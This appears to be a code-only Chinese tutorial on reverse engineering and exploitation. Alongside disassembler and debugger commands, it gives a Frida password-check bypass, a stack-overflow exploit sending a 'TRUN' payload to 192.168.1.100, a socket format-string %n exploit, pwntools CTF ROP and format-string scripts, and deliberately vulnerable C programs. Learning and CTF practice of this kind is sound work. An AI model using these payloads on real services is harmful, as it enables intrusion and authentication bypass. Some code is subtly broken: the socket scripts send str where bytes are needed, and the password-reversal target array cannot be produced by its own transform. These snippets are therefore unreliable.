118_逆向工程与二进制分析：从汇编到漏洞挖掘的实战技能详解

# 反汇编可执行文件
objdump -d executable

# 显示文件头信息
objdump -f executable

# 显示所有段信息
objdump -h executable

# 显示所有信息
readelf -a executable

# 显示段信息
readelf -S executable

# 显示符号表
readelf -s executable

# 启动调试器
gdb executable

# 在GDB中运行程序
run

# 设置断点
break function_name
break *address

# 继续执行
continue

# 单步执行
step
next

# 查看变量
print variable

# 查看内存
x/nfu address

# 启动Radare2
r2 executable

# 分析程序
aaa

# 查看函数列表
 afl

# 反汇编函数
pdf @ function_name

# 启动调试
ood

# 设置断点
 db address

# 运行程序
 dc

# 基本扫描
binwalk firmware.bin

# 提取文件
binwalk -e firmware.bin

# 提取字符串
strings executable

# 提取长度大于8的字符串
strings -n 8 executable

# 显示字符串在文件中的偏移量
strings -t x executable

# 基本显示
hexdump file.bin

# 更友好的格式
hexdump -C file.bin

# 跟踪系统调用
strace executable

# 跟踪库函数调用
ltrace executable

# 保存输出到文件
strace -o output.txt executable

# 使用Memcheck工具检测内存错误
valgrind --leak-check=full ./executable

# 检测内存访问错误
valgrind --tool=memcheck ./executable

// 示例Frida脚本
Java.perform(function() {
    var MainActivity = Java.use("com.example.MainActivity");
    MainActivity.checkPassword.implementation = function(password) {
        console.log("输入的密码: " + password);
        return true;  // 绕过密码检查
    };
});

# 运行Frida脚本
frida -U -f com.example.app -l script.js --no-pause

# 栈溢出攻击示例
import socket

# 目标地址和端口
target = "192.168.1.100"
port = 9999

# 创建socket连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

# 构造攻击载荷
# 假设缓冲区大小为2000字节，返回地址位于缓冲区之后
buffer = "A" * 2000  # 填充字节
ret_address = "\xef\xbe\xad\xde"  # 恶意返回地址
payload = buffer + ret_address + "C" * (10000 - 2000 - 4)  # 完整载荷

# 发送攻击载荷
s.send("TRUN /.:/" + payload + "\r\n")

# 关闭连接
s.close()

// 堆溢出漏洞示例
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vulnerable_function(char *user_input) {
    char *buffer = (char *)malloc(256);  // 分配256字节的堆内存
    strcpy(buffer, user_input);  // 没有检查长度，存在堆溢出漏洞
    printf("Input: %s\n", buffer);
    free(buffer);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}

# 格式化字符串漏洞利用示例
import socket

# 目标地址和端口
target = "192.168.1.100"
port = 9999

# 创建socket连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

# 信息泄露：读取栈中的数据
leak_payload = "%x.%x.%x.%x.%x.%x.%x.%x\n"
s.send(leak_payload.encode())
response = s.recv(1024)
print("栈数据:", response.decode())

# 内存写入：将值写入指定地址
target_address = "\x40\x12\x34\x56"  # 要写入的地址
write_value = 1337  # 要写入的值
# 构造格式化字符串，使用%n将写入的字节数保存到target_address
exploit_payload = target_address + "%" + str(write_value - 4) + "x%n\n"
s.send(exploit_payload.encode())

# 关闭连接
s.close()

// 整数溢出漏洞示例
#include <stdio.h>
#include <stdlib.h>

void vulnerable_function(int count) {
    // 如果count很大，count * sizeof(int)可能会溢出
    int *buffer = (int *)malloc(count * sizeof(int));
    // 使用buffer...
    free(buffer);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <count>\n", argv[0]);
        return 1;
    }
    int count = atoi(argv[1]);
    vulnerable_function(count);
    return 0;
}

# Use-After-Free漏洞利用示例（简化版）
import sys

# 假设我们有一个目标程序，其中存在UAF漏洞
# 这个脚本模拟漏洞利用过程

def exploit():
    # 1. 分配第一个对象
    obj1 = allocate_object()
    
    # 2. 分配第二个对象，大小与第一个相同
    obj2 = allocate_object()
    
    # 3. 释放第一个对象
    free_object(obj1)
    
    # 4. 分配第三个对象，应该重用第一个对象的内存
    # 我们可以在这个对象中植入恶意数据
    payload = create_malicious_payload()
    obj3 = allocate_with_payload(payload)
    
    # 5. 程序可能会继续使用obj1指针，访问到我们控制的数据
    # 这可能导致代码执行
    
    print("漏洞利用完成")

# 实际的漏洞利用需要根据目标程序的具体情况进行调整
def allocate_object():
    print("分配对象")
    return object()

def free_object(obj):
    print("释放对象")

def allocate_with_payload(payload):
    print("使用恶意载荷分配对象")
    return object()

def create_malicious_payload():
    print("创建恶意载荷")
    return "malicious_code"

if __name__ == "__main__":
    exploit()

# 字符串解密示例
import idaapi
import idautils

# 假设我们有一个简单的XOR解密函数
def decrypt_string(encrypted_bytes, key):
    decrypted = []
    for i, b in enumerate(encrypted_bytes):
        decrypted.append(b ^ key[i % len(key)])
    return bytes(decrypted)

# 在IDA Pro中查找和解密字符串
def find_and_decrypt_strings():
    # 遍历所有数据引用
    for seg_ea in idautils.Segments():
        if idaapi.segtype(seg_ea) == idaapi.SEG_DATA:
            # 遍历数据段中的每个地址
            for ea in idautils.Heads(seg_ea, idaapi.seg_end(seg_ea)):
                # 检查是否有XOR指令引用了这个地址
                refs = list(idautils.XrefsTo(ea))
                for ref in refs:
                    # 分析引用该地址的函数
                    func_ea = idaapi.get_func(ref.frm).start_ea
                    # 这里可以添加更复杂的分析逻辑来确定解密算法和密钥
                    print(f"可能的加密字符串在 {hex(ea)}，被函数 {hex(func_ea)} 引用")

# 简单的控制流分析示例
import networkx as nx
import matplotlib.pyplot as plt

def build_cfg(basic_blocks):
    """构建控制流图"""
    cfg = nx.DiGraph()
    
    # 添加节点
    for block in basic_blocks:
        cfg.add_node(block.name)
    
    # 添加边
    for block in basic_blocks:
        for successor in block.successors:
            cfg.add_edge(block.name, successor)
    
    return cfg

def analyze_cfg(cfg):
    """分析控制流图"""
    # 检查是否有无法到达的节点
    reachable_nodes = set(nx.dfs_preorder_nodes(cfg, source="entry"))
    all_nodes = set(cfg.nodes)
    unreachable_nodes = all_nodes - reachable_nodes
    
    if unreachable_nodes:
        print(f"发现无法到达的节点: {unreachable_nodes}")
    
    # 检查是否有循环
    cycles = list(nx.simple_cycles(cfg))
    if cycles:
        print(f"发现循环: {cycles}")
    
    # 可视化控制流图
    nx.draw(cfg, with_labels=True)
    plt.savefig("cfg.png")
    print("控制流图已保存为 cfg.png")

# 示例基本块类
class BasicBlock:
    def __init__(self, name):
        self.name = name
        self.successors = []

# 使用示例
def main():
    # 创建一些基本块
    entry = BasicBlock("entry")
    block1 = BasicBlock("block1")
    block2 = BasicBlock("block2")
    block3 = BasicBlock("block3")
    exit_block = BasicBlock("exit")
    
    # 设置控制流
    entry.successors = ["block1"]
    block1.successors = ["block2", "block3"]
    block2.successors = ["exit"]
    block3.successors = ["exit"]
    
    # 这个块是无法到达的（混淆技术）
    unreachable = BasicBlock("unreachable")
    unreachable.successors = ["exit"]
    
    # 构建控制流图
    cfg = build_cfg([entry, block1, block2, block3, exit_block, unreachable])
    
    # 分析控制流图
    analyze_cfg(cfg)

if __name__ == "__main__":
    main()

# 使用file命令查看文件类型
file vulnerable_program

# 使用checksec查看安全保护机制
checksec vulnerable_program

# 使用strings提取字符串
strings vulnerable_program

# 使用objdump反汇编
objdump -d vulnerable_program > disassembly.txt

# 栈溢出漏洞利用脚本
from pwn import *

# 创建进程或连接到远程服务器
# p = process('./vulnerable_program')  # 本地调试
p = remote('challenges.example.com', 1337)  # 远程连接

# 确定偏移量
# 可以使用cyclic生成独特的模式，然后根据崩溃时的EIP/RIP值计算偏移量
# offset = 120  # 假设我们已经找到了偏移量

# 获取system函数地址和/bin/sh字符串地址
# 可以通过ROPgadget、objdump等工具获取
# system_addr = 0x08048420
# bin_sh_addr = 0x0804a024

# 构造ROP链
# rop_chain = p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

# 构造攻击载荷
# payload = b'A' * offset + rop_chain

# 发送攻击载荷
# p.sendline(payload)

# 获取shell
# p.interactive()

# 使用GDB调试程序
gdb ./format_string_program

# 查看程序的基本信息
info functions
info variables

# 设置断点
break main

# 运行程序
run

# 分析程序执行流程和漏洞点

# 格式化字符串漏洞利用脚本
from pwn import *

# 创建进程或连接到远程服务器
p = process('./format_string_program')
# p = remote('challenges.example.com', 1337)

# 步骤1：确定格式化字符串在栈中的位置
# 发送%x.%x.%x...来查找格式化字符串的位置
p.sendline(b'%p.%p.%p.%p.%p.%p.%p.%p')
response = p.recvline()
print("响应:", response)

# 假设格式化字符串在栈中的第6个位置
format_pos = 6

# 步骤2：读取敏感信息（如flag）
# 假设flag存储在0x0804a040地址
target_addr = 0x0804a040
payload = p32(target_addr) + b'|%' + str(format_pos).encode() + b'$s||'
p.sendline(payload)
response = p.recvline()
print("Flag响应:", response)

# 步骤3：修改内存中的值
# 假设我们需要将0x0804a044地址的值修改为0x1337
target_addr = 0x0804a044
desired_value = 0x1337

# 构造写入4个字节的格式化字符串
# 这里使用%n来写入
payload = p32(target_addr) + b'%' + str(desired_value - 4).encode() + b'x%' + str(format_pos).encode() + b'$n'
p.sendline(payload)

# 验证修改是否成功
p.sendline(b'%p')
response = p.recvline()
print("修改后响应:", response)

# 获取flag
p.sendline(b'get_flag')
flag = p.recvline()
print("Flag:", flag)

p.close()

# 使用IDA Pro或Ghidra分析程序
# 找到关键函数，如main函数和验证函数

# 使用GDB动态调试程序，观察算法的执行过程
gdb ./protected_program

# 设置断点在关键函数处
break validate_password

# 运行程序并观察执行过程
run test_password

# 算法逆向脚本

# 假设我们通过逆向工程发现了以下验证算法：
# 1. 将输入密码的每个字符转换为ASCII值
# 2. 对每个ASCII值进行如下变换：val = (val << 2) | (val >> 6)
# 3. 将变换后的值与预定义的数组进行比较
def reverse_algorithm(target_array):
    """逆向算法，生成正确的密码"""
    password = []
    
    for target_val in target_array:
        # 逆向变换：val = (val >> 2) | (val << 6)
        # 我们需要尝试所有可能的字符
        for c in range(32, 127):  # 可打印ASCII字符范围
            # 应用正向变换
            transformed = ((c << 2) | (c >> 6)) & 0xff  # 确保是8位
            if transformed == target_val:
                password.append(chr(c))
                break
    
    return ''.join(password)

# 假设我们从程序中提取的目标数组
target_array = [0x63, 0x25, 0x5a, 0x6a, 0x3c, 0x1d, 0x44, 0x29, 0x6e, 0x2f]

# 生成正确的密码
correct_password = reverse_algorithm(target_array)
print(f"正确的密码是: {correct_password}")

# 现在可以使用这个密码来获取flag
# import subprocess
# result = subprocess.run(['./protected_program', correct_password], capture_output=True, text=True)
# print(result.stdout)